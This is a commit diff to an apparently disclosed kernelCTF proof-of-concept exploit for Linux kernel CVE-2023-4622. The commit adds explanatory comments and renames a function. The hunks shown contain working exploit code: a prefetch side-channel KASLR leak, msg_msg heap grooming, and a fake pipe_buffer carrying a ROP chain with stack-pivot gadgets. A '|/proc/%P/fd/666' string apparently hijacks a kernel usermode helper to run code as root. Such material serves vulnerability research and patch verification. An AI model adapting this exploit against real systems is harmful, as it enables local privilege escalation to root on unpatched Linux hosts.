Add more comments on poc.c for read

Author: Bing-Jhong Billy Jheng

pocs/linux/kernelctf/CVE-2023-4622_lts/exploit/lts-6.1.36/exploit

@@ -185,8 +185,8 @@ size_t mostFrequent(size_t *arr, size_t n)
 
 	return element_having_max_freq;
 }
-
-// EntryBleed: Breaking KASLR under KPTI with Prefetch (CVE-2022-4543)
+// Since there no KPTI on the remote server (as its CPU is not affected by Meltdown, so the kernel does not turn on KPTI)
+// so this is actually prefetch attack. ref: https://gruss.cc/files/prefetch.pdf
 void leak()
 {
 	size_t kbase[0x8] = {0};
@@ -224,6 +224,7 @@ int setup_msg()
 	printf("setup msg start..\n");
 	memset(&msg.mtext[0], 0, 0x2000);
 	msg.mtype = 1;
+	// Removes all of the current user's previously allocated msg_msg structs to aviod reach limits.
 	system("ipcrm --all=msg");
 	for (int i = 0; i < NUM_QUEUE; i++)
 	{
@@ -284,19 +285,19 @@ int setup_msg()
 
 char user_buf[] = "|/proc/%P/fd/666";
 #define ROP(idx) ((size_t *)rop)[(idx) + (START_ROP / 8)]
-int build_rop(size_t rop_addr, char *rop)
+int build_fake_pipe_buffer_with_rop_chain(size_t rop_addr, char *rop)
 {
 	*(size_t *)&rop[0x8] = POP_RDI;
 	*(size_t *)&rop[0x18] = POP_RSP;
 	*(size_t *)&rop[0x20] = rop_addr + START_ROP;
 
 #ifdef LTS
-	*(size_t*)&rop[0x10] = rop_addr+0x30;
-	*(size_t*)&rop[0x38] = PIVOT3;
+	*(size_t*)&rop[0x10] = rop_addr+0x30; //set pipe_buffer.ops
+	*(size_t*)&rop[0x38] = PIVOT3; //set pipe_buf_operations.release
 	*(size_t*)&rop[0x2e] = PIVOT2;
 #else
-	*(size_t *)&rop[0x10] = rop_addr + 0x20;
-	*(size_t *)&rop[0x28] = PIVOT3;
+	*(size_t *)&rop[0x10] = rop_addr + 0x20; //set pipe_buffer.ops
+	*(size_t *)&rop[0x28] = PIVOT3; //set pipe_buf_operations.release
 	*(size_t *)&rop[0x39] = PIVOT2;
 #endif
 
@@ -462,7 +463,7 @@ int corrupted_msg()
 
 		// prepare fake pipe_buffer and rop payload
 		msg.mtype = 6;
-		build_rop(known_addr_pipe, &msg.mtext[0x1000 - 0x30 - 8]);
+		build_fake_pipe_buffer_with_rop_chain(known_addr_pipe, &msg.mtext[0x1000 - 0x30 - 8]);
 		for (int j = 0; j < NUM_QUEUE_RESV; j++)
 		{
 			// overwrite pipe_buffer